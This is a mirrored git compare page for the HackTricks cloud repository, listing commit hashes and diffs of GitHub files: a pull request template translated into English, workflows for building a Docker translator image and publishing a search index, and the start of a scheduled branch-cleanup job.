mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-14 05:56:58 -07:00
Compare commits
622 Commits
uk
...
searchinde
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
50520f6c7d | ||
|
|
1b274752fd | ||
|
|
63f5aa81e3 | ||
|
|
eb7245d3fd | ||
|
|
675092de06 | ||
|
|
570c0f46af | ||
|
|
2468851007 | ||
|
|
d0ebc37eb3 | ||
|
|
79fd264473 | ||
|
|
becec234f4 | ||
|
|
143e6bdfe9 | ||
|
|
2a5d2dea9e | ||
|
|
9b52c7953d | ||
|
|
07628e009a | ||
|
|
8d39c38b58 | ||
|
|
7097f55620 | ||
|
|
f96fed548e | ||
|
|
21b31a3be3 | ||
|
|
5d031d4518 | ||
|
|
1e51bb702d | ||
|
|
1111212cbb | ||
|
|
bb763109dc | ||
|
|
25af34d5a2 | ||
|
|
a10148e331 | ||
|
|
b904273a19 | ||
|
|
0aa87b8319 | ||
|
|
004e341804 | ||
|
|
24c1d54861 | ||
|
|
015b24f51c | ||
|
|
8589cf621f | ||
|
|
c8957b9107 | ||
|
|
ecebe97de5 | ||
|
|
fe691c5c50 | ||
|
|
de064b1b68 | ||
|
|
ea0f667e57 | ||
|
|
b7a1554deb | ||
|
|
1304799271 | ||
|
|
18e756320d | ||
|
|
78767e199c | ||
|
|
65816a9798 | ||
|
|
fc5e23269c | ||
|
|
89a2ab54ae | ||
|
|
f3afa739ad | ||
|
|
d11f3a3880 | ||
|
|
590e54ea9e | ||
|
|
f539a9e2d9 | ||
|
|
e153dc47b0 | ||
|
|
9242d2e4d9 | ||
|
|
37b03b3517 | ||
|
|
a6491998d2 | ||
|
|
dba44c006e | ||
|
|
b9b20e4567 | ||
|
|
391b11e92c | ||
|
|
19024e5a7c | ||
|
|
4d9445d2bb | ||
|
|
7f435558c4 | ||
|
|
a7ce58fa25 | ||
|
|
5b5e339f96 | ||
|
|
5bd2aafc8e | ||
|
|
00730ca794 | ||
|
|
923f510164 | ||
|
|
fec9bfb986 | ||
|
|
6a11053885 | ||
|
|
de46109976 | ||
|
|
fd19dc2304 | ||
|
|
599d45c50a | ||
|
|
5b2a228050 | ||
|
|
d1f95b1929 | ||
|
|
846ad61b73 | ||
|
|
c09016a56f | ||
|
|
77b76bfb00 | ||
|
|
3883d1a74e | ||
|
|
ebb51f81bb | ||
|
|
d761716a28 | ||
|
|
467491e1ae | ||
|
|
d05d94d995 | ||
|
|
bc1201eb61 | ||
|
|
15ff9a7d1c | ||
|
|
4880cb4574 | ||
|
|
05853fcc19 | ||
|
|
a45973b8a7 | ||
|
|
38dae42b81 | ||
|
|
5adcd244f6 | ||
|
|
33ca677b86 | ||
|
|
b1af5ce692 | ||
|
|
61ae9f83db | ||
|
|
07a16af4ec | ||
|
|
f45429555e | ||
|
|
f92d67cfdc | ||
|
|
d7c57cba6e | ||
|
|
a641fcea8a | ||
|
|
eb4f46f714 | ||
|
|
1ceeca1326 | ||
|
|
68267218a7 | ||
|
|
3901748f3d | ||
|
|
68de9f8acc | ||
|
|
236a8a2cec | ||
|
|
d373f62166 | ||
|
|
c2c232fd46 | ||
|
|
f3fd4b9294 | ||
|
|
dd2c5af442 | ||
|
|
ee4da87049 | ||
|
|
3b1f434a66 | ||
|
|
8db7266efb | ||
|
|
59437b9b32 | ||
|
|
ea3041d9a2 | ||
|
|
f171d1a97d | ||
|
|
855ef5fd9e | ||
|
|
3ff0c8a86f | ||
|
|
414eeda035 | ||
|
|
dac7b0f906 | ||
|
|
3b456ebc2e | ||
|
|
f0df70528a | ||
|
|
f705477774 | ||
|
|
aff8ab0252 | ||
|
|
06b577d42f | ||
|
|
14e986b2a7 | ||
|
|
581f09f904 | ||
|
|
c76cc24a59 | ||
|
|
15bde67918 | ||
|
|
3f16d3c5f3 | ||
|
|
82a44ea4c0 | ||
|
|
839f139795 | ||
|
|
b82a88252c | ||
|
|
c3cfb95b87 | ||
|
|
e0b92e3b7a | ||
|
|
f521c0d95a | ||
|
|
96b0de9ec9 | ||
|
|
6b96bae348 | ||
|
|
5fd9ed5048 | ||
|
|
3157069bde | ||
|
|
ccd50a451d | ||
|
|
0a1f3dea22 | ||
|
|
e1bc13c19c | ||
|
|
58c7ae8399 | ||
|
|
0ba0d247a8 | ||
|
|
6f8738f34f | ||
|
|
5a6cd9a85c | ||
|
|
ed2ae1e58f | ||
|
|
dbe2969386 | ||
|
|
97759b6cec | ||
|
|
95f380db6b | ||
|
|
65da889db0 | ||
|
|
45a7b74a0f | ||
|
|
4d2fa75b55 | ||
|
|
84bc28f8bb | ||
|
|
ebd15ccb63 | ||
|
|
f72768b30f | ||
|
|
7a92891381 | ||
|
|
e98c16371b | ||
|
|
b1b0b0c536 | ||
|
|
e324b93d88 | ||
|
|
baff049eb8 | ||
|
|
46a8364006 | ||
|
|
ce9f3f87af | ||
|
|
8655bc665f | ||
|
|
26022c0005 | ||
|
|
a315ad9465 | ||
|
|
26d6010bfd | ||
|
|
d613dc8ce7 | ||
|
|
e93215546e | ||
|
|
b4bb813717 | ||
|
|
ab12e74c5e | ||
|
|
55658adf68 | ||
|
|
e10e318840 | ||
|
|
3662845c9c | ||
|
|
7b475f151e | ||
|
|
cfacf65682 | ||
|
|
cacc26efe4 | ||
|
|
3f6485403c | ||
|
|
ec63e0077a | ||
|
|
8197352f5b | ||
|
|
e75ef47d73 | ||
|
|
4c5a2d0b51 | ||
|
|
f26eba3574 | ||
|
|
e1a1b2a31f | ||
|
|
d21b704799 | ||
|
|
278e22cf25 | ||
|
|
ba62c1ded8 | ||
|
|
e6af835b2d | ||
|
|
c3110e5dc2 | ||
|
|
c3d732d46b | ||
|
|
16833c8621 | ||
|
|
e004aa173d | ||
|
|
32d8b32e1f | ||
|
|
8cb8cf4b78 | ||
|
|
682420bd96 | ||
|
|
423b2f5d24 | ||
|
|
06302efcc4 | ||
|
|
12f8a8240c | ||
|
|
cc8c3b9bc7 | ||
|
|
e3be82da7b | ||
|
|
5c9151d0a9 | ||
|
|
4f8f9ebb5d | ||
|
|
a59586d035 | ||
|
|
6f5f13f1d1 | ||
|
|
d0a10b4b59 | ||
|
|
3153e9e112 | ||
|
|
4ba5101450 | ||
|
|
46317efe3f | ||
|
|
13cd85219b | ||
|
|
bb4337235e | ||
|
|
4adabb8e45 | ||
|
|
64e6b18369 | ||
|
|
e79a494c75 | ||
|
|
e8310823ee | ||
|
|
94d6bb7be6 | ||
|
|
3886eb0679 | ||
|
|
b4a33ce277 | ||
|
|
b206e184f6 | ||
|
|
1562438890 | ||
|
|
9c7ae3465b | ||
|
|
afef551baa | ||
|
|
45f06743a5 | ||
|
|
2cf7ab9070 | ||
|
|
a67f9f67e9 | ||
|
|
b76f4ee32e | ||
|
|
c57b961d3f | ||
|
|
6a65d520db | ||
|
|
2d8e6cc317 | ||
|
|
1af7a95753 | ||
|
|
81bd25041e | ||
|
|
a2fc1bb9e4 | ||
|
|
245801a8f3 | ||
|
|
c8ee4e1f63 | ||
|
|
87d7a35977 | ||
|
|
df415302d4 | ||
|
|
227bd60d9d | ||
|
|
6113778d42 | ||
|
|
6229cc5c3f | ||
|
|
cc3464f588 | ||
|
|
84c84de0f6 | ||
|
|
1af5f28379 | ||
|
|
d22733b802 | ||
|
|
13e0bddd0c | ||
|
|
2f1397e2df | ||
|
|
a1718ef3d5 | ||
|
|
c01bb34d34 | ||
|
|
57d0f100e5 | ||
|
|
9e731ee081 | ||
|
|
f37c444854 | ||
|
|
cb0f15bd18 | ||
|
|
05ef9e4e88 | ||
|
|
653f16bf02 | ||
|
|
02f3d3d27e | ||
|
|
fd7e52a9f0 | ||
|
|
a31a609a53 | ||
|
|
2d20c080f1 | ||
|
|
a1abf4a40e | ||
|
|
3267900f8e | ||
|
|
d24b4f4947 | ||
|
|
cb93bc9325 | ||
|
|
89bd5603b5 | ||
|
|
a214e36c16 | ||
|
|
46fb09dbc7 | ||
|
|
c6c5326731 | ||
|
|
0d99994b28 | ||
|
|
518ec63594 | ||
|
|
365ec0ea1b | ||
|
|
55bb9cabcd | ||
|
|
b63860c1b3 | ||
|
|
f396d310ed | ||
|
|
fb64ce166d | ||
|
|
60fe5b65e9 | ||
|
|
d6a90112e4 | ||
|
|
8ac043f850 | ||
|
|
d0ca3b4c13 | ||
|
|
0721cb17a8 | ||
|
|
0a7aa1d734 | ||
|
|
f976ae1b70 | ||
|
|
73895ccc90 | ||
|
|
a0c66139cf | ||
|
|
6d3e83b6fa | ||
|
|
323213ba74 | ||
|
|
f87ea41409 | ||
|
|
fa3baebd58 | ||
|
|
ecb7b8f136 | ||
|
|
64bb51ab33 | ||
|
|
043f28492d | ||
|
|
7136d61e6b | ||
|
|
aa4d2f583f | ||
|
|
5276c9c7db | ||
|
|
005dee76e9 | ||
|
|
954173982d | ||
|
|
014036afb7 | ||
|
|
ff9846dbc6 | ||
|
|
5c6a20ff62 | ||
|
|
524edcbc09 | ||
|
|
8be8f721ca | ||
|
|
d7937f5851 | ||
|
|
8cca683281 | ||
|
|
29db46c537 | ||
|
|
35075688aa | ||
|
|
49023a7e71 | ||
|
|
ec902048e6 | ||
|
|
413635f6ed | ||
|
|
160cdf0767 | ||
|
|
ce9d8e9162 | ||
|
|
27bda8c014 | ||
|
|
d9b93c0df5 | ||
|
|
62ee9ee386 | ||
|
|
1c761c2a55 | ||
|
|
849a545f21 | ||
|
|
cfc01c0374 | ||
|
|
6915cfa68c | ||
|
|
aed8d2e643 | ||
|
|
b2bf4d9b07 | ||
|
|
6788b5e0a5 | ||
|
|
5c702e69b9 | ||
|
|
42f78679a2 | ||
|
|
6c40f6cac4 | ||
|
|
fcb6c989fc | ||
|
|
8d310c43f5 | ||
|
|
27d96d81e1 | ||
|
|
6d88cb548f | ||
|
|
1216308b18 | ||
|
|
00f4a32ae3 | ||
|
|
96579673c1 | ||
|
|
f8c4c4d8ac | ||
|
|
3902e8cafd | ||
|
|
39876cd315 | ||
|
|
d668cf5452 | ||
|
|
d54cb2b5ff | ||
|
|
c79c359fd2 | ||
|
|
1efe5e7e77 | ||
|
|
7991ff4fae | ||
|
|
045b6c2320 | ||
|
|
ab888d748c | ||
|
|
5d3c7b0348 | ||
|
|
d77d87d686 | ||
|
|
9c0cfb6529 | ||
|
|
2730856acc | ||
|
|
221636beae | ||
|
|
740801ab61 | ||
|
|
23ce7a243e | ||
|
|
13f89a6674 | ||
|
|
776d9f73df | ||
|
|
c8c09b0abb | ||
|
|
329ef07c7e | ||
|
|
aad012f215 | ||
|
|
50029a6488 | ||
|
|
5bb4e02a58 | ||
|
|
c0a3872982 | ||
|
|
a19517f026 | ||
|
|
429913c5ec | ||
|
|
2d32b37d9c | ||
|
|
77da1e58ca | ||
|
|
516553f4bf | ||
|
|
188b9a7b0a | ||
|
|
58556acb7d | ||
|
|
0148473b67 | ||
|
|
b832183456 | ||
|
|
3e96d64e50 | ||
|
|
7336c976ae | ||
|
|
def87f1ffb | ||
|
|
b715d43fad | ||
|
|
c6b3795cc5 | ||
|
|
8fa715b08d | ||
|
|
aeb3f8b582 | ||
|
|
568e936ca0 | ||
|
|
2456bca341 | ||
|
|
f138e0366f | ||
|
|
c089890c84 | ||
|
|
901725b847 | ||
|
|
fea4bb8938 | ||
|
|
7026e4e728 | ||
|
|
0e15aeffba | ||
|
|
b7dc63cd26 | ||
|
|
4c9c8c10ac | ||
|
|
64f5661515 | ||
|
|
bee34f3c05 | ||
|
|
2f84f3f328 | ||
|
|
892232fe26 | ||
|
|
c71aa6f7b1 | ||
|
|
ab3e89c82d | ||
|
|
caf320e355 | ||
|
|
e841f06505 | ||
|
|
6456eab2cf | ||
|
|
3c746383c6 | ||
|
|
064162062f | ||
|
|
e3ca81040e | ||
|
|
4313cc72bc | ||
|
|
80b91382f3 | ||
|
|
0828130954 | ||
|
|
94e634230a | ||
|
|
5e48ce18e0 | ||
|
|
61c70bfefd | ||
|
|
ce2ede1e01 | ||
|
|
127c85e7d2 | ||
|
|
40e08a1893 | ||
|
|
e746e3e353 | ||
|
|
0f7175eb98 | ||
|
|
d109bb6b44 | ||
|
|
2505aec847 | ||
|
|
cc5dc4c885 | ||
|
|
09a10afd24 | ||
|
|
0d9b4e5917 | ||
|
|
ad0fd2ac62 | ||
|
|
47c4eb2f02 | ||
|
|
8b8705f5a2 | ||
|
|
e82c35b07f | ||
|
|
5f47797e6a | ||
|
|
90a2f79a0f | ||
|
|
baa1c7240d | ||
|
|
0f6da30192 | ||
|
|
06d67a4432 | ||
|
|
f9413e0d34 | ||
|
|
31acbca2ed | ||
|
|
e938af6965 | ||
|
|
8d0d445b93 | ||
|
|
9cd2ef8e2f | ||
|
|
c4b06ab12c | ||
|
|
5537bfe63d | ||
|
|
6e477bc296 | ||
|
|
46af6b9474 | ||
|
|
e6644e6caa | ||
|
|
fcc20e6908 | ||
|
|
8be9956703 | ||
|
|
2be77df66d | ||
|
|
8594fa5343 | ||
|
|
ba04a6a2ff | ||
|
|
d2f2655fc4 | ||
|
|
5a5104fe95 | ||
|
|
ef85d7fdd5 | ||
|
|
83bc9f97e8 | ||
|
|
d3b9883283 | ||
|
|
81acaa16e0 | ||
|
|
70d0f13e7e | ||
|
|
8392cf548c | ||
|
|
0b97b3caff | ||
|
|
4df9252db4 | ||
|
|
3350e31738 | ||
|
|
17be115fa6 | ||
|
|
ccbbfaee00 | ||
|
|
b98496aaed | ||
|
|
30399528e4 | ||
|
|
650655363f | ||
|
|
615a959bb6 | ||
|
|
0d198fe961 | ||
|
|
abbd0a816b | ||
|
|
13df9aee51 | ||
|
|
eb110dfd72 | ||
|
|
491627bf9f | ||
|
|
ca5a9e1037 | ||
|
|
7537334e2c | ||
|
|
bb664c142d | ||
|
|
4eafaed2b1 | ||
|
|
e158438a0f | ||
|
|
57da0bf8db | ||
|
|
ae7aefe448 | ||
|
|
19401f19d6 | ||
|
|
92b3c384c8 | ||
|
|
0d26e5ed8c | ||
|
|
cd5de3879c | ||
|
|
dc557dad46 | ||
|
|
d6597f9990 | ||
|
|
77a117d772 | ||
|
|
699a707bb6 | ||
|
|
b741525093 | ||
|
|
60b1ca6b88 | ||
|
|
30236714f5 | ||
|
|
f258a13eef | ||
|
|
4e491e3f55 | ||
|
|
b3cfc40029 | ||
|
|
26bf439a59 | ||
|
|
3757efbd43 | ||
|
|
d13ebeaeb5 | ||
|
|
3f01e5e4fa | ||
|
|
8452766003 | ||
|
|
9bea483104 | ||
|
|
7162236a6b | ||
|
|
f5c7490026 | ||
|
|
2383d6958b | ||
|
|
fd5fc9957a | ||
|
|
d42d244a6a | ||
|
|
117bb933af | ||
|
|
9a9ea3101f | ||
|
|
ec6fcd37f0 | ||
|
|
551524079b | ||
|
|
92d27a9632 | ||
|
|
cfcc836974 | ||
|
|
7838f68347 | ||
|
|
452fb430b3 | ||
|
|
ba94d85a36 | ||
|
|
a9b9e95899 | ||
|
|
5a2543873e | ||
|
|
b353597cd3 | ||
|
|
9ed1b29bb9 | ||
|
|
01295fcd13 | ||
|
|
81d2665909 | ||
|
|
873eba38c0 | ||
|
|
979ea57c3b | ||
|
|
ae6616b63b | ||
|
|
dbac949488 | ||
|
|
3e06c28e43 | ||
|
|
5d21fb67a6 | ||
|
|
25395ae94a | ||
|
|
626155bec1 | ||
|
|
8f02f9f5a5 | ||
|
|
d9c68fcf04 | ||
|
|
c76f3defdd | ||
|
|
569f2be7c9 | ||
|
|
416e7cf699 | ||
|
|
480c6ba178 | ||
|
|
8f6514eed9 | ||
|
|
6736e6d5c8 | ||
|
|
1bc1085d79 | ||
|
|
50f10aa913 | ||
|
|
bb6035c0ca | ||
|
|
b6310f4ac6 | ||
|
|
9bcaf7c6df | ||
|
|
a60a5be8d2 | ||
|
|
250329b9aa | ||
|
|
64ab139a57 | ||
|
|
38ec0650ca | ||
|
|
a027dd2a21 | ||
|
|
1e69b05fe7 | ||
|
|
9f84500da6 | ||
|
|
62664886c7 | ||
|
|
e4b1066789 | ||
|
|
0f2e9443ca | ||
|
|
dbb3f98a12 | ||
|
|
234398ad6e | ||
|
|
a6e5b378be | ||
|
|
cdd6583bb6 | ||
|
|
12c468f714 | ||
|
|
0996afea1b | ||
|
|
3fd7b2b8a2 | ||
|
|
e47fdfb9ea | ||
|
|
d6f87481ef | ||
|
|
3000c3b4fe | ||
|
|
15ce1f2a40 | ||
|
|
8ec34fc329 | ||
|
|
5d6efaa6a6 | ||
|
|
73e6fee408 | ||
|
|
833b571498 | ||
|
|
37bf365f5b | ||
|
|
8b52bc23a3 | ||
|
|
d9f6b34673 | ||
|
|
9021590856 | ||
|
|
8ea0f4a3f1 | ||
|
|
78334993a2 | ||
|
|
e8cee6743c | ||
|
|
55fc400bf7 | ||
|
|
dc16c9ff9f | ||
|
|
6d926a6f72 | ||
|
|
d9a7ae2880 | ||
|
|
be659333c8 | ||
|
|
cb67f59e59 | ||
|
|
b3f82cc35c | ||
|
|
1f00ec798e | ||
|
|
782d409f47 | ||
|
|
30f14affe7 | ||
|
|
65cfe4be40 | ||
|
|
39ef4428ef | ||
|
|
de7e5d2eb0 | ||
|
|
78f6ebfdc9 | ||
|
|
4b9cb59f09 | ||
|
|
3b671863b3 | ||
|
|
110692ec5f | ||
|
|
065d29019c | ||
|
|
184a36301a | ||
|
|
c3b572db87 | ||
|
|
894d2f8dc6 | ||
|
|
3eff514680 | ||
|
|
4fae1360a8 | ||
|
|
372ccdf299 | ||
|
|
0c3d697d67 | ||
|
|
cdf8430598 | ||
|
|
432e916b2f | ||
|
|
cb23139acd | ||
|
|
1a41153b95 | ||
|
|
06184f73ec | ||
|
|
bde9b73eb1 | ||
|
|
69db82891a | ||
|
|
52142003ec | ||
|
|
a850e268dc | ||
|
|
cc120ade68 | ||
|
|
3000248da2 | ||
|
|
1a5f666c80 | ||
|
|
95f91529c7 | ||
|
|
b65df65002 | ||
|
|
1c333d4cab | ||
|
|
b0794c4b1c | ||
|
|
009ef58e30 | ||
|
|
ad6c542f82 | ||
|
|
3a7480d764 | ||
|
|
4b71029629 | ||
|
|
c1aee098b6 | ||
|
|
ec0ff62bcb | ||
|
|
2244c6b485 | ||
|
|
61bc94e77d | ||
|
|
13358c1371 | ||
|
|
1e29cb77cc | ||
|
|
d65983432b | ||
|
|
18d1953edd | ||
|
|
c395861d3d | ||
|
|
d9247bf598 | ||
|
|
853e602bc2 | ||
|
|
8750a93d41 | ||
|
|
b918609383 | ||
|
|
3d1f96fd4a | ||
|
|
9eec79f700 | ||
|
|
8a25a0856f | ||
|
|
e67cc3f450 | ||
|
|
194ae6d76b | ||
|
|
d53ffc12eb | ||
|
|
c520826284 | ||
|
|
7a0a0329a7 | ||
|
|
a7bf8124da | ||
|
|
b340bf8ada | ||
|
|
bad627b7db | ||
|
|
96cc8f9772 | ||
|
|
1922e106fd | ||
|
|
d7d5e4a93c | ||
|
|
716aa06779 | ||
|
|
4ef00e6b1b | ||
|
|
2beb8398a6 | ||
|
|
d0b9174054 | ||
|
|
d0e6a85e6f | ||
|
|
d96df379fd | ||
|
|
4d622f5500 |
17
.github/pull_request_template.md
vendored
17
.github/pull_request_template.md
vendored
@@ -1,11 +1,16 @@
|
||||
Ви можете видалити цей вміст перед відправкою PR:
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Визнання авторства
|
||||
Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише контент, яким володієте або на який маєте дозвіл від оригінального автора (додавши посилання на автора у доданому тексті або в кінці сторінки, яку ви змінюєте, або й те, й інше). Повага до прав інтелектуальної власності сприяє довірчому та законному середовищу обміну для всіх.
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
|
||||
## HackTricks Training
|
||||
Якщо ви надсилаєте PR, щоб скласти іспит [ARTE certification](https://hacktricks-training.com/courses/arte) з 2 прапорцями замість 3, вам потрібно назвати PR `arte-<username>`, `grte-<username>` або `azrte-<username>`, залежно від сертифікації, яку ви проходите.
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
|
||||
Також пам'ятайте, що виправлення граматики/синтаксису не будуть прийняті для зменшення кількості прапорців на іспиті.
|
||||
|
||||
У будь-якому разі, дякуємо за внесок у HackTricks!
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
Normal file
56
.github/workflows/build_docker.yml
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,12 +14,15 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -27,32 +30,65 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
for branch in $all_branches; do
|
